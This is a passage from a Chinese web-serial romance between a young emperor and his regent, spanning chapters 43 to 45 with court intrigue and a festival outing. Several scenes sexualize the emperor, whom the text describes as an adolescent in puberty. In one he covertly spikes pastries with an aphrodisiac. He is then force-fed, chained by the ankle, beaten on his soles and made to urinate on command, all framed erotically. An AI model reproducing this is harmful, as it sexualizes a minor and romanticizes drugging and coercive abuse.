翠枝见他喜欢,坐在一旁说:“这是老李新配的茶,能缓解情绪、安神助眠,天气热了还调配了一些酸梅饮,公子如果喜欢,等会儿可以带一些走。” 宋南卿很是高兴,站起来跟着李大哥去看药柜里的东西,趁着沈衡没跟过来,他悄悄凑近对李大哥轻声道:“你这里,有没有那种药?” 李大哥愣愣看他,没懂。 “哎呀,就是那种!男人需要的那种。”宋南卿朝他挤了挤眼睛,用一种心照不宣的眼神看他,小巧的脸上大大的眼睛闪着急切的光,亮到人头脑发晕—— 作者有话说:宋:哎呀你懂的,就是那种[求你了] 第43章 第四十三章 控制一下 李大哥的眼神扫过他, 又扫过一旁坐着的沈衡,又扫过他。 沈衡对人的眼神很敏锐,往这边瞧了一眼, 眼中带着疑惑。 宋南卿连忙横跨一步挡住他的视线, 抬起手挡住嘴巴,跟李大哥说了好一段悄悄话, 然后提着一大包药走出医馆。 “李氏医馆配的这个酸梅汤真的挺好喝。”宋南卿捧着白瓷碗喝了一大口, 透明的碎冰沉在碗底, 和碗壁撞击出清脆的声响。 沈衡坐在旁边的椅子上低头看呈报上来的奏疏,头顶银质兽纹冠低调又精致, 发丝随着凉风习习送来, 扬起又落下,他从黑色的一个个墨字中抽空看了眼宋南卿,道:“午膳吃那么一点, 留着肚子就是吃这些东西的。” 宋南卿从碗里抬起头, 嘴唇上还沾着褐色液体, 为自己辩解道:“天太热了, 太腻, 没胃口嘛!” 沈衡望着他湿润的嘴唇道:“今日不是上了你想吃的槐叶冷面,我看就用了两筷子, 不好吃?” “都说了吃不下,没胃口。”从北园寺回来,沈衡很在意他瘦下去的身子, 人太瘦了就会显得弱不禁风憔悴一些,况且宋南卿正是长身体的时候,营养都要补足,他每日好吃好喝精准饲养某个小皇帝, 前段时间一称重,宋南卿说什么都不乐意了。面上不表现,但背地里饮食都十分在意,生怕自己继续吃下去变成大胖子。 沈衡看得出他是什么心思,淡淡看着他没说话。 宋南卿被盯得发毛,穿了鞋凑过去歪倒在他身上,哼哼唧唧说:“我刚刚真的吃饱了,不信先生摸。” 他拉过沈衡的手往下摸去,放在了自己的小腹上方,夏衫很薄,身体的每一寸起伏都贴在布料上,蜿蜒在手心底下。 鹅黄色的小衫衬得人肤若凝脂,云锦丝的料子触手生凉,少年腰身纤细,沈衡一只手几乎就能把他的腰从左往右盖住。手底下薄薄的腰、柔软的腹部手感绝佳,透过一层衣衫传出温度,让人流连忘返。 宋南卿半坐在人腿上,仰起头问:“都鼓起来了,我吃饱了的,你摸都有很多肉了。” 他的眼睛本来就生的漂亮动人,这个角度从上往下看,勾人的上目线清纯又带着无意识的媚,之前是完全天真无邪的小孩子,尝过一些情欲滋味之后,眼里也有了些不同于之前的风情。 如果说之前的宋南卿像是一朵纯白的荷花,让人生怕沾染了会破坏他的无瑕。现在的宋南卿就像那朵粉白的渐变重瓣莲,轻轻浅浅的粉,只粉在花朵边缘,花瓣最尖尖上的位置。带着大部分的清纯,又偏偏添了一丝恰到好处的媚,要说勾引吗?他是无意识的,要说无邪吗?他偏偏用那双水光潋滟的眸子盯着你,并不是完全无瑕的纯白。 沈衡掌心微动,在他腹部的软肉上轻轻收拢,声音发沉:“现在这样正好,之前太瘦了,跟我不给你吃饭一样。” 热热的手心在腹部揉动,明明是很正经的动作,但揉着揉着,宋南卿就感觉那团火热往下流窜。他低头抓住了沈衡的食指,整只手圈在上面轻晃道:“本来就、好几天没有给我吃了……” 他四指并拢握着男人的食指,虎口围成一个圈,低着头坐在人腿上,用脚尖轻轻蹭着沈衡的小腿。 房间里放了些时令鲜果,随着风吹过,酸甜的味道在周围散开,让人口齿生津。 沈衡捏住他的一边脸颊,像以往教育他不可贪玩荒废学业一般,教训道:“不可过分沉迷于此。” 他就是发现宋南卿太热衷于这档子事,所以才加以控制。青春期的少年容易饿是正常,但宋南卿是比较容易的体质,一场下来去太多次,年纪小如果不加以管制,身体很容易就会亏空。 见识过他的另一面,现在这个高冷禁欲不可冒犯的沈衡,不会吓退宋南卿,只会让他更兴奋。 “嗯…可是很想要嘛——”他被扯着脸蛋口齿不清,可怜兮兮皱着眉,坐在人膝盖上不老实地蹭,越是不能轻易得到的东西,越是被一再禁止的东西,他越是想要。本来还没有那么强烈,但只要沈衡说“不行、不可以”,他越想挑战先生的权威。 宋南卿蹭了没两下,就被不轻不重的一巴掌拍在了后背上。 “控制一下。”沈衡抬起膝盖往上顶,弄得少年弓起腰发出猫一样的叫声。 隔着水墨朦胧的屏风,春见在外面低声道:“禀陛下,翰林院编修阮羡之已在门外等候传召。” 这时候宋南卿才想起来,他召了阮羡之前来,但又不想沈衡走,拉住人手轻声道:“先生晚上有空吗?”指尖相触,细嫩之处绕着沈衡的手指侧面蹭过,若即又若离。 “月底之前,除非你好好吃饭,不然都没空。”沈衡勾着腿弯把人从身上抱下来。 宋南卿揪住他的衣襟不放手,扁嘴发出不满的哼声,贴在人身上就是不想下来。 沈衡瞥他一眼,“大臣还在外面候着,你像什么样子?”他面色冷了下来,宋南卿见状缓缓收回手指,低头把自己卷上去的衣摆拉好,冲着人道:“晚上我要吃佛跳墙,不是你做的我就不吃。” 窗外阳光像是洒金一般落在窗台上,对面青竹的影子也映在上面随风摇晃,红色的窗框打开一半,浮光跃金青竹倒影沉入下方。 沈衡从窗台边经过往外走,洒金阳光照在他的侧脸上,他抬起手朝后面轻摆了两下,意思是知道了。 外面的青墙、竹影和他构成了一幅清雅的画,由朱红色的窗框框就,他动作舒展,随手就应下了宋南卿的要求。 佛跳墙,如果晚上要上桌,从现在就要开始准备了,得耗费一下午的功夫盯着,宋南卿舌头灵,很容易就能分辨出是不是沈衡亲手做的,他这个不算多冠冕堂皇的要求,竟然被应下了。 其实沈衡很忙,军务、宗教、大大小小宋南卿顾不过来的东西,全都需要摄政王兜底,本来抽出时间陪吃饭已经是不容易,为什么连这种过分的要求也会答应。 宋南卿捏着龙椅的扶手,指节用力到泛白。 他吃不吃饭有那么重要吗?先帝后宫里有的是饿死的妃子,不是没得吃,是自愿的。瘦一点、弱一点,更好控制不是吗?更漂亮不是吗?更能满足男人的征服欲和破坏欲不是吗? 他从小见多了冷宫那些女人,长胖被皇上厌弃的女人。其实被厌弃不是因为发胖,而是新鲜劲过了。先帝可能就是喜欢看那些女人为了讨好自己,穿束腰减肥到弱不禁风的癖好。 不能胖,胖了就会失去宠爱,失去宠爱就会滑向深渊,就会死。 北园寺那个雨夜还是唤起了太多他隐藏在内心深处的阴暗,本以为已经忘却的、尘封的东西,又在暗处影响着他的心,那些恐惧、那些朝不保夕的日子,在本已经尘封多年的地方再一次冲破藩篱。 胖了就会死,是从小刻在他脑子里的魔咒,所有人都在说。但为什么不能?他现在是王朝的统治者,他到底还需要讨好谁? 解决一个人的心理问题,不能靠高高在上指导他,而要让他自己意识到需要改变。当一个人的食欲和□□都不能被满足的时候,总有一件会冲破障碍。沈衡把后者堵住了,当满足欲望变成头脑里第一要紧事时,那虚无缥缈的威胁泡泡也就一戳即破。 宋南卿单手支撑着脑袋,一只手拨动着手腕上的佛珠。经过山洪,这串沈衡的檀木佛珠有些散架,拿线新串好了,又拿掉几颗,成了如今刚刚好贴合他手腕的样子。 他勾住腕上珠串往上拉起,又松手,珠子弹到手腕上带来微微的疼痛,这种瞬间的痛意可以抑制他去想很多东西,那些会让他喘不上气的回忆、一旦出现就会无限蔓延的画面,都可以因为这个小动作的打断,而停止。 沈衡教他的方法,还真有些用处。 门口传来动静,阮羡之穿着青蓝色官袍低头来到堂下,沉声道:“微臣阮羡之参见陛下。” 宋南卿穿着常服,没有一堆彰显身份的东西堆砌,只是随意坐在龙椅之上,也散发出令人忽视不了的威仪。他侧着头垂眼,平静道: “起来吧,这段日子在翰林院干的怎么样,还顺手吗?” 这是阮羡之入宫为官以来,第一次和陛下面对面单独相处。只是从门口走进来,他都不敢抬眼瞧,余光略过的地方,古董花瓶名贵字画,刺绣屏风紫檀书架,上乘的徽墨进贡的毛笔,无一不是他之前接触不到的东西,除了眼前人。 初次相遇,他能得到宋南卿相救,不顾受伤也要拉他出泥淖,但知晓身份后,他连说话都得小心翼翼。 阮羡之回答道:“翰林院大人对微臣很是照顾,修编史书的工作也很能静心。” 宋南卿轻笑一声,意味不明道:“朕那日将你救出来,可不是为了让你干著书立说这些活静心的。跟你同期的人都已经在朝中有了自己的位置,你就没想过为什么你还在翰林?” 阮羡之微愣,随即从容应对:“陛下思量周全,肯定有我等揣摩不到的考量,况且,微臣听说郗状元在给事中犯了错,连带着叔父都被惩罚,谋求高位未尝有那么容易。” 宋南卿不着痕迹打量着他,手摸着触手生凉的玉质镇纸,跟他对上视线,“前阵子内阁的事你也知道,郗武康受罚之后,没什么可用之才了,今日朕召你来,是想问问你对内阁的看法。” 轻轻巧巧的问话,却是在阮羡之心上落下了千斤重,他的头脑迅速思考,心知这才是今日的重头戏。他揣摩陛下说这话内含的到底是何深意,这段日子从贾良到陈立文再到郗武康,一桩桩一件件事情像走马灯一般从脑中划过。 他抬起头,看见宋南卿明亮温润的眼睛正看着自己,微风带着冰块的凉气吹过,心上一片凉爽舒适。 阮羡之坐直了身子,神色认真道:“秦设三公九卿,汉立内外朝,皆以君权统御百官,故能令行禁止,天下归心。我朝初期,内阁设立统领六部,权责分明运行效高。然后期有奸臣作祟,内阁渐权重,虽有辅政之名,实多侵夺君权之实。” 他一边说,看见陛下眼睛里带上了鼓励和期许,继续道:“陛下年少时,内阁多决断可保障中枢运转,但凡事有利有弊,内阁权重也是贾良落到今天这个地步的重因。” 宋南卿点头,抚掌而笑,叫来春见道:“今日跟阮卿一见如故,阮卿见解颇有见地,朕心甚悦,把午后刚做的茉莉茶酥拿来,朕要赏他一同品鉴。” 春见点头称是,却倾身在宋南卿耳边轻声道:“陛下,摄政王离开之前,说您既然吃不下,他就都带走了…奴才现在马上差人现做,您看行吗?” 宋南卿笑意渐敛,瞪了春见一眼,示意他快去。 阮羡之坐在下方听不见他们说了什么,只能从春见的嘴型辨别出“摄政王”三个字,察觉到逐渐冷下来的氛围—— 作者有话说:大盛论坛最新发帖:【孩子不爱吃饭怎么办?】 衡(1楼):把零食全都扔掉他自然就吃了。 是朕你不满意?(2楼):孩子不爱吃你就做点他爱吃的,孩子怎么会有错呢?[求你了] 云那个岫(3楼):听说凤栖楼重新开业,老人孩子吃饭一律半价,我家孩子就很爱吃天天吵着要去。[彩虹屁] 第44章 第四十四章 陛下胆子真是大了 其实阮羡之一直在思考, 到底要不要把那日在服饰店遇到的事情告诉宋南卿,就是关于沈衡在外面乱搞包养小倌的事。但这是私事,他没有立场说, 他又不能明着告诉宋南卿说:陛下, 我知道你和摄政王的关系,他不是什么一心之人, 你不要被骗了。 他还没疯。 陛下最忌讳别人讨论他的私事, 上一个劝他快点娶妻立后的尸体都凉了好些天了。 宫人来给阮羡之添了杯茶, 他点头道谢,忽然听见宋南卿说:“其实在巷子里那天, 不是朕和你第一次见。” 他诧异抬头。 “在贾良府上, 朕看见你被叫上去读策论,那篇‘克明俊德,以亲九族’写的让人印象深刻。”宋南卿的食指在光滑的茶杯边缘摩擦, 声音在茶水香气中带上了湿润水汽, “不是什么人都值得朕去救的, 羡之, 你有济世之才, 困在小小翰林院,岂不可惜?” “不想谋求高位, 朕理解也很欣赏,因为位置不在高,只要对江山社稷有益处, 就是重要的位置。”宋南卿认真看着他,说话语气带上了三分亲切,“朕跟你明说,内阁要散、一定会散, 我需要一个人,替我收拢权势。” 这是来自帝王的橄榄枝,是一份无与伦比的诱惑,阮羡之咽了咽口水。 “外臣难当,稍有不慎就成了权力倾轧的牺牲品,但你不一样,阮羡之,你除了朕,什么都没有,所以朕很放心。”宋南卿勾起唇角,让春见把刚做好的茉莉茶酥端到阮羡之面前。 “尝尝看,先不必急着回答朕。”宋南卿单手撑着头斜靠在桌上,长发散落到胸前,有一丝垂到了面前的宣纸上。 阮羡之拾起一块绿色的茶酥放入嘴中咀嚼,一入口茉莉的清香、茶叶的微苦、内料的清甜在口中爆发开,茶香悠长,顺着口腔侵入鼻腔,满口生香。 宋南卿坐在桌前抬起镇纸一端,像是话家常一般开口:“羡之如今住在哪里?离宫里远吗?” “还是住在你…陛下帮臣租赁的那房子里,新科进士得了赏钱,微臣、把那处买了下来。离宫里不算太近,但住着很舒心。” 宋南卿眸光微动,睫毛抬起扫过阮羡之,对方未料到和他对视了个正着,慌乱垂下眼睛看着盘子里的茶酥,不敢再乱瞧。 茶水的香气清雅,宋南卿喝了一口后,嘴边漾开一个轻浅的笑,“问你住处,是因为以后宫中可能事忙,住远了一来一回不方便,朕可以在边上赐你个宅子。说起这个,羡之可有婚配?” 几句话间,二人的距离就被拉近,宋南卿生的明眸皓齿,不端着皇帝的架子这样平易近人关心下士,身上像是散发着某种光辉,让人心甘情愿为他卖命的光辉。 阮羡之吃了茶酥感觉嘴里发干,也喝了两口茶水忙道:“微臣…不曾。” 宋南卿轻笑:“前几日新科进士打马游街,作为探花应该是春风得意马蹄疾,朕还以为你早就被哪位官家小姐看上了,是不想?” 阮羡之摇头道:“微臣和陛下一样,只想先立业。” “那你可想错了,朕还是挺想先成家的。”宋南卿语气自然不像是作假。 阮羡之犹豫再三,还是把疑惑问出口:“可是陛下之前对立后一事,却表现的……” 宋南卿抬起头看向窗外,一群鸟成群结队飞过屋檐,他的语气中带着些许寂寥,“就算是做了皇帝,有些时候也会言不由衷。” 他看向阮羡之,浅笑了一下,苦涩、无奈和一丝释然混在那个看起来甜的笑容里,像是刚刚吃过的茶酥的味道。 阮羡之脑海中立马呈现出三个大字——“摄政王。” 他本以为陛下是自愿的,原来竟然是无奈过后的妥协吗? 那样勇敢无畏善良带他冲破包围的少年,也有自己没办法挣脱的牢笼吗? 阮羡之一手握拳搁置在桌子上,下定决心望着龙椅上的少年帝王,“陛下,臣愿意跟您一起立业。” ———— 夜晚,月明星稀,殿里大门被打开,天上星月与凡间帝王一起,分享着桌上的人间烟火。 宋南卿拿着勺子尝了一口汤,眯起眼睛仰头品味,咸鲜滋味在舌尖弥漫开,整个人都被美味治愈。 看着他左右摇摆的样子,沈衡倾身过去给他布菜,问:“好喝?” “好喝!”宋南卿捧着碗举到他面前,亮亮的眼睛比头顶的星星还要璀璨,满是幸福。 沈衡低头尝了一口,点了点头。虽然是第一次做,但他食材配比和火候把握没出什么问题,整体而言是一份合格的佛跳墙。 “我不想吃这个。”宋南卿看着喂到嘴边的青菜,往旁边躲。 “就一口,今天就吃这一口蔬菜。”沈衡哄着他,把拿鸡汁煨的青菜送入少年口中。 为了防止他又找什么借口喂他吃蔬菜,宋南卿从椅子上下来转着圈跑到后面,嘴里喊着:“我也给先生做了吃的,你等我一下!” 他今下午让人做茶酥的时候,专门做了一份放了秘制草药的特别版,从李氏医馆拿来的神药被细细研磨撒进茶酥里。 宋南卿想着,茶叶也是草,草药也是草,反正都是草,吃起来应该差不多吧,反正看起来是差不多的。 他端着一个深绿色冰裂纹盘子欢天喜地跑出来,为了防止被看出异样,专门换了这个看不大出茶酥本身颜色的盘子来,他煞费苦心,幸福生活仿佛已经在朝自己招手了。 沈衡真的很烦,把他瘾都快勾出来了,又说什么小孩子家家不能沉迷这种事情,弄多了脑子会坏掉。前段时间忙着料理贾良,没空想这些,本就很久没有弄,又因为自己不好好吃饭的事,更限制他。他今晚都好好吃了,使一点小小手段应该不要紧吧。 他就不信沈衡吃了药还能那么坐怀不乱!到那时候…哼哼! 宋南卿靠在沈衡身边,拈起一块茶酥放在人嘴边,眼里含着热切:“尝尝看!” 沈衡看他一眼,道:“你做的?” “对啊!专门为了先生做的,我对你好吧!”宋南卿眨眨眼,想把手里的东西往人嘴里塞,没想到手腕被攥住调转了个方向。 沈衡眼底含笑说:“那么珍贵的东西,陛下先吃。” 宋南卿紧闭着嘴唇,努力上扬嘴角,“我、我之前吃过了…先生你…” “给我下毒了?”安静的夜晚庭院有带着花香的清风吹来,天上星星持久闪烁,这半真半假的问话让宋南卿如芒刺背,瞬间警觉起来。 他无意识舔了下嘴唇,摇头说:“没有、怎么会呢,先生你又跟我说笑。”他嘴角的弧度快要保持不住,有一瞬间僵直。 沈衡两指圈住他的腕子往前送,眼睛盯着他一动不动,声音如同晚风夹杂着露水,昏暗潮湿,“那吃给我看。” 宋南卿偏头收着下巴,想躲开那块已经贴到自己嘴唇上的茶酥,翘起的红润唇珠被边角戳中压扁。 餐桌前的灯是很明亮的,外面穿堂风吹过,把少年鬓角的发丝吹起。他被迫保持着把茶酥往自己嘴里送的动作,只觉得外面黑夜的草丛里有无数双眼睛在盯着自己的一举一动。 清香的糕点压在嘴唇上,一点点往里送,他抬起洁白贝齿咬下一点,在沈衡的注视下咀嚼完咽下,根本没尝出什么滋味。 “卿卿给我表演怎么让糕点擦伤呢?”沈衡圈着他的腕子往上抬,命令道,“咬到馅儿。” 馅在最中间,宋南卿频繁眨着睫毛,内心陷入抗拒和挣扎,他不想吃,但沈衡正在盯着自己,探究的目光像是一条冰凉潮湿的蛇,从他的脸颊一路爬到后背。 长条状的茶酥一点点进入口腔,宋南卿咬到一半的位置,嘴被塞满了。他鼓着脸颊迅速嚼着嘴里混合了草药的糕点,好像只要咽的够快,就不会发挥作用。 杯里已经微凉的茶水被他捧着快速喝完,口腔里残留的微苦时刻提醒着他,他吃了加了料的糕点。 烛火晃过,宋南卿手里剩下的半块,被沈衡拿走送进了自己嘴里。 亲手掺入□□的糕点被沈衡一点点吃下,他边吃边从容地看着宋南卿,每一个动作仿佛都在放慢,眼底藏着的意味深长让宋南卿忍不住颤抖起来。 当第二块茶酥被送入嘴中时,宋南卿咽了下口水,按住他的手,道:“晚、晚上吃多了积食…” 沈衡拇指按在他的手背上,只是轻轻蹭过,就像有一连串火花被激起,宋南卿呼吸声逐渐变大,一股酥痒顺着脊柱往上升起。 “卿卿亲手做的,怎么能浪费。”沈衡的眼睛本就偏琥珀色,在烛火映衬下,里面也像烧着两团火焰,他按住少年凸起的腕骨,顺着手臂内侧血管的蜿蜒路线一路向下,声音低沉宛如贴在人背上的鬼:“最后一块,你吃还是我吃?” 宋南卿手臂上起了一层鸡皮疙瘩,汗毛立起,他瞥了一眼桌上的灯影,二人的影子轮廓快要交叠在一起,他往后想挣脱手腕上的禁锢,没挣动。 细细的皓腕被两根手指轻易圈起,搏动的血管贴在男人掌心,一下又一下加速跳动。 宋南卿攥紧手指,垂着眼轻声道:“不要…”尾音又低又飘带着茶香。 皮肉相贴,少年手臂内侧柔软细嫩的肉被捏起,敏感的肘窝被布满粗茧指腹轻搓,密密麻麻的痒意从皮肉连接处传来,皮肤被一寸寸摸过,宛如有小虫子在表面爬过,触角一点点划过皮肤,越痒越深,酸到了心脏里面。 沈衡又问了一遍,声音较前一次多了层微不可察的危险。 少年说话带上了哭腔,肘窝里被磨出一层粉红,青黛色的血管又细又浅,手臂上的软肉一抖一抖,像是他平日里喜好吃的牛乳酪。 “我、我错了…” 沈衡撩起少年斜斜垂落到肩膀上的发丝,挽在手上绕了一个圈收紧,然后往近处一拉,薄唇轻启:“我看陛下胆子真是大了。” 宋南卿被扯得一个轻晃,被迫仰起头,大大的眼睛里瞬间蒙上了一层水雾。 不知道是不是药性在发作,头皮上微微的疼痛变成了一种会带来愉悦的感受。宋南卿哆哆嗦嗦伸手去拿茶杯,手指不稳掉到了地上,连带着茶水洒了他一腿。 “渴、我渴。”少年晃着头想挣脱束缚,拎起湿了的衣袍就想跑去后面找水。 岂料沈衡一手拎着他头发,一手拿起了桌子上的茶壶。今日泡的是果茶,琉璃细条坑的精致茶壶看起来更像一个酒壶,细弯状的长条壶嘴洒金镀花,在高处连嘴都没对准,就开始朝外倒水。 浅黄色的茶水对着宋南卿微微张开的嘴唇倾泻而下,少年被拎着头发被迫吞咽,咽不下的顺着嘴角流过了脖颈,沾湿衣领往下淌。 “咕嘟咕嘟”的吞水声不断,间或有少年被呛到边咳边哭的声音,但下一秒又被隐秘的吞咽声掩盖。他被提在半空中青丝倾泻胡乱摇晃,锦缎做的鞋只有脚尖点地,艰难前后摆动蹭地。 灯下映在墙上的影子正在挣扎摇晃,宫殿的门不知何时已经闭紧,只能从缝隙中听见里面传来的隐隐约约的声音—— 作者有话说:[玫瑰] 第45章 第四十五章 不打就不乖的孩子 乾清宫寝殿周围安静一片, 只有巡逻侍卫按时镇守,一轮圆月高高挂在天边,散开的云朵被月光浸染了边缘。 皎洁的月越过层层深掩的重门, 从窗户缝隙中悄悄洒进一半。最里面的一间宽大寝殿, 宋南卿弯着膝盖坐在床边啜泣,白皙的脸蛋沾了晶莹的泪水显得格外可怜。 明黄色的床盖上绣着龙凤纹样, 他侧立着的脚轻轻蜷起, 时不时抽动一下, 原本白嫩的足底已经交叠着印上了许多红色痕迹,叠加起来在嫩生生的皮肤上很是显眼, 微肿的足弓发着烫。 当然, 让他哭到停不下来的原因还不止这个。 帘子被掀起,只披了件单衣的沈衡端了盆水进来,他把浸了水的厚帕子拧干, 摊在手掌上给宋南卿擦脸。 少年听见湿透的帕子挤出的水淅淅沥沥滴进盆里, 膝盖并得更紧, 手指抓住床面攥出深深的痕迹, 浑身抖动了几下, 哆哆嗦嗦拉着人衣袖带着哭腔求道:“让我下去…呜想去,我真的忍不住、了……” 沈衡没理他, 细致擦完脸后,又给他哭红的脸颊上涂了一层乳膏,望着蓄满泪水的眼睛道:“再哭, 你再戴一个时辰。” 宋南卿咧着嘴胡乱扑腾,被子掀开,才看见他一边脚踝上戴了根细细的金链子,绕脚腕缠了三圈, 另一端拴在拔步床一侧的柱子上,现在这个位置已经是他能离开最远的位置了。 他被训斥之后低着头耸起肩膀,只啜泣努力不落下泪水,憋的眼睛红红。 沈衡握住他另一只脚腕,拉起伸直放在自己大腿上,柔软的帕子包裹了一些冰块,被轻轻敷在少年红肿的脚心。 原本滚烫的位置被突如其来的冰凉一贴,宋南卿整个人往上耸了耸,膝盖弹起又落下,一边叫着冰一边想挣开沈衡的手,那股凉意催生出更多的下坠水意,几乎是冰贴上的下一刻,他就攥住被角打了个颤。 “疼……”宋南卿扁着嘴拉长声音哭道。 沈衡轻轻移动帕子,给他的足底消肿,“疼你才能长记性,是不是?卿卿就是一个不打就不乖的孩子。” 宋南卿摇头,凌乱的发丝随着在肩膀上摆动。 “不是…卿卿是乖孩子……我真的会乖的,求求先生,真的——”他抑制不住伸出手去解脚踝上的链子,但钥匙不在他这儿,怎么也解不开,他急的团团转。 沈衡拿着工具给他脚底涂药,动作细致,宋南卿每一个颤抖和抖动都被他尽收眼底。现在不哭了也不闹了,撒着娇讨好地望着他,捧着小腹可怜地直打抖,卷翘的睫毛上挂着点点泪珠,娇俏又惹人怜惜。 看着他对那个链子想尽办法,沈衡把钥匙往不远处的床角一抛,轻笑道:“解开了你脚也下不了地,何必呢卿卿?” 宋南卿第一次讨厌龙床那么大,大到他拼尽全力伸长指尖去够,也还是差一点距离才能碰到钥匙,而因为他趴着的动作压到腹部,又是好一阵抽动才勉强平复。 看他可怜的样子,沈衡伸长手臂一捞,钥匙夹在指尖转了一个圈。 “我真的知道错了,下次再也不敢了…求求你。”宋南卿盯着他手里的钥匙,不停摇晃被拴住的脚,金链子在栏杆上晃动发出清脆的声响。 沈衡问:“不敢什么?” 宋南卿咬了咬嘴唇含糊说:“给你下药…” “下次想要直接说,给不给看我,但再搞这些我不喜欢的小动作,就不是今天那么简单了。”沈衡打开了绑住人的金链子。 “知道了……”宋南卿可怜兮兮回答,一被解开就想跑,脚心刚刚碰到床面就疼的“嘶”了一声,蜷起脚趾跪倒在床上,两个膝盖并在一起,双脚悬在空中轻晃,企图让流动的空气减轻一些他脚底的疼痛。 “涂了药别乱动。”沈衡抓过他的脚腕凑近了瞧,只是红肿鼓起,并没有破皮,但就这样他也三五日不能沾地。 原本夹在一起的双腿被分开,少年哭叫了一声,彻底抑制不住,声音抖得让沈衡察觉出来了异样。 宋南卿瘫在床上疯狂颤了两下,被沈衡托着后脑勺扶了起来,男人看着他潮红的脸,视线下移,低声问:“漏了,是吗?” 少年摇头大哭不止,抱住沈衡的手否认,羞耻心让他说不出话,只能一个劲哭着摇头。 沈衡在他后背拍了两下,勾着腿弯把人抱起,转身下了床。 一个不大的绿色瓷器立在床边的脚踏上,表面涂着透明的釉料,呈现出一种闪烁着微光的贵气色彩,在釉料的覆盖下,整个瓷器散发着淡淡的翠绿色,冰裂纹的图案绽放在表面,仿佛是春日里嫩绿的嫩叶,在烛光下若隐若现。 瓷器顶端开有一个不大不小的孔洞,直径也就两三指粗细,华美精致的瓷器之上,宋南卿被握着腿分开,像孩子一般被抱在怀里对着底下那个的瓷器。 他羞得眼泪都要流出来了,脚趾蜷缩在一起忍不住踢蹬,被这个姿势逼得满脸通红。 “我不要…不要这样呜呜……” 沈衡倒是没惯着他,“我数三个数,你不要就直接睡觉,我不会再管你,想半夜爬过来你尽管说不要。” “三、二……” 一还没落下,空气里就响起了细细的水流声。 ———— 一年一度的乞巧节到了,京城大街上到处都是成双成对的情侣,衣摆裙角交叠,合欢宫灯挂在树梢,和月光一起照亮了上空,各式各样的奇巧玩意儿在大街上售卖。 一个头上扎着冲天辫的小孩挎着篮子在人群中游走,专找看起来恩爱的情侣推销他篮子里的花朵手串,白色的茉莉花在绿色叶子的衬托下显得纯白无瑕,在他口里变成了应证二人感情纯净永久,百合花做的花环也有了百年好合的美好寓意,彩绳编织的同心结是卖的最快的。 “哥哥!给旁边的漂亮姐…嗯漂亮哥哥买一个吧!七夕节一起戴茉莉手串会得到花神庇佑,你们两个一定会情比金坚、长长久久的!”小孩来到人流量最多的花桥上,一打眼就看到了手里拎着各种包装盒的沈衡,绝对的身高就是能获得第一眼优势,所以他就成了那个优质客户。 宋南卿穿着白色的描金织锦缎,头上戴着镶嵌了各种宝石和金珠的冠,一串长长珠链沿着柔顺的发丝一起垂在肩膀上,随着他的动作发出零星清脆细响。 他正双手捧着一个乞巧果子低头咬,刚出炉的果子还冒着热气,他一边吃一边不住呵气,被纸袋挡住只露出一个侧脸。 卖花小孩看他们两个举止亲密,还在乞巧节晚上出来看灯,宋南卿头上流光溢彩的发饰在黑夜里几乎都能闪到他眼睛,他忙着逮住大客户,自然而然就把那串背的滚瓜烂熟的推销词说了出来,谁料离近细瞧才发现那人不是漂亮姐姐,急忙改口。 百合和茉莉的香气混在夜晚微风里,芬芳又清甜。听到情比金坚、百年好合,宋南卿拿眼睛去瞟沈衡,又含着笑带上了调侃弯腰问小孩:“为什么会觉得我们俩是一对?” 他一凑近,红的蓝的宝石珠串泠泠作响垂下,发尾的清香飘入卖花小孩鼻中。 “因为哥哥你好看,而且他拎了那么多,你只需要吃东西,他肯定喜欢哥哥你。”小孩眨巴着眼睛说。 宋南卿微微点头,在他的篮子里翻看货物,捡起两个同心结道:“拎东西呢也不能代表他喜欢我,下人每天都帮我拎东西,要按你那么说,他们是全世界最喜欢我的人了。” “但是下人是要给银子的,他是自愿的。”见他拿起的东西,小孩连忙回归正题,“这是今天最后两个同心结了,我姐姐拿去月老庙开过光的,可灵了,哥哥你要吗?” 宋南卿听到前面那句话,心中不由得觉得没滋味,又听说这是最后两个,忙捏在手里回头道:“我要了,他给银子。” 说完他就迈着轻快的步伐下台阶,白色的衣角翩跹翻出波浪,在熙熙攘攘的人群中也格外显眼。 卖花小孩接过沈衡递给自己的银钱,说了声多谢惠顾,然后转身掀开自己篮子下层的布,把两个一模一样的同心结又摆了出来,朝人流中央边走边叫卖:“乞巧同心结,和你心爱的人永结同心吧!只剩最后两个月老开过光的了!欲购从速哦——” 月亮西斜,朦胧的月光照在状似荷叶的亭台上,亭子前方是一条清澈的小河,灯光月光照得水面波光粼粼,像是宋南卿那条月影纱披帛,想来设计者就是根据此景做的,流动的光影在起伏的河水中变换形态,一盏盏祈福荷花灯飘在上面流向远方。 宋南卿正把手搭在栏杆上看着河面上一盏又一盏的荷花灯,脖子突然被人捏起,沈衡从后方跟了上来,提着他后颈在耳边问道:“我是给你提东西的下人,嗯?” 这个亭子里没有其他人,周围郁郁葱葱的灌木丛生长旺盛,但路过的人依然可以看见他们的动作。宋南卿缩着脖子拍他的手臂,瞪圆眼睛道:“不是…放开我!没有…” “那我是什么?”沈衡用指节抬起他的下巴,在月光下琥珀色的眼睛格外亮。 宋南卿慌乱地眨眼,从袖子里摸出一对同心结,一枚递给沈衡道:“是这个…” 沈衡没接,垂眼往下对着自己的腰带示意了下。 宋南卿把五彩绳编织的同心结系在了他的腰带下方,飘扬的五色绳和羊脂玉搭配在一起,有种怪异的不和谐,但再和少年身上同款的同心结一起看,就顺眼多了。一对同心结下方有一道长长的绳子相连,把二人从腰带开始拴在一起,可以分开行走,却不能分离太远。 纯手工编织的同心结形状有些粗糙,但宋南卿好像很喜欢,低头摸了又摸,手指缠在相连接的那个绳子下端绕圈。 “还有一半,给你吃吧。”宋南卿把油纸袋里剩下的半个乞巧果子递给沈衡。 粉红色的荷花灯倒影映衬在他眼里,亮亮的,一如沈衡第一次见到他那般明亮。瘦瘦的小孩两颊布着红团和他半夜在御膳房相遇,借着窗户纸透出来的月光,可以看到他眼底的亮光,那双漂亮的眼睛在沈衡心里留下了深刻的印象。 那天大概也是十五,所以月亮像今天一样圆。他们分食了御膳房最后一个圆圆的冷馒头,一人一半,相顾无言。 第二次见,是在上书房,宋南卿的年纪早就到了读书的时候,但因为皇帝厌恶,一直没人敢提。皇帝每每看到宋南卿,总能想起那个被他斩下首级的敌人将领临死前对他的诅咒,那口吐在他脸上洗不干净的鲜血,宋南卿腿根鲜红的胎记。 他总觉得这个孩子是个不祥的征兆,是那个敌人首领投胎转世要使大盛江山陷入危险,扔在冷宫养着养着便忘了,还是前几日皇太后寿宴上,九皇子找他告状,说有个脏小孩冲撞了自己,把他准备送给皇太后的礼物弄坏了,所以他才没来得及再准备。 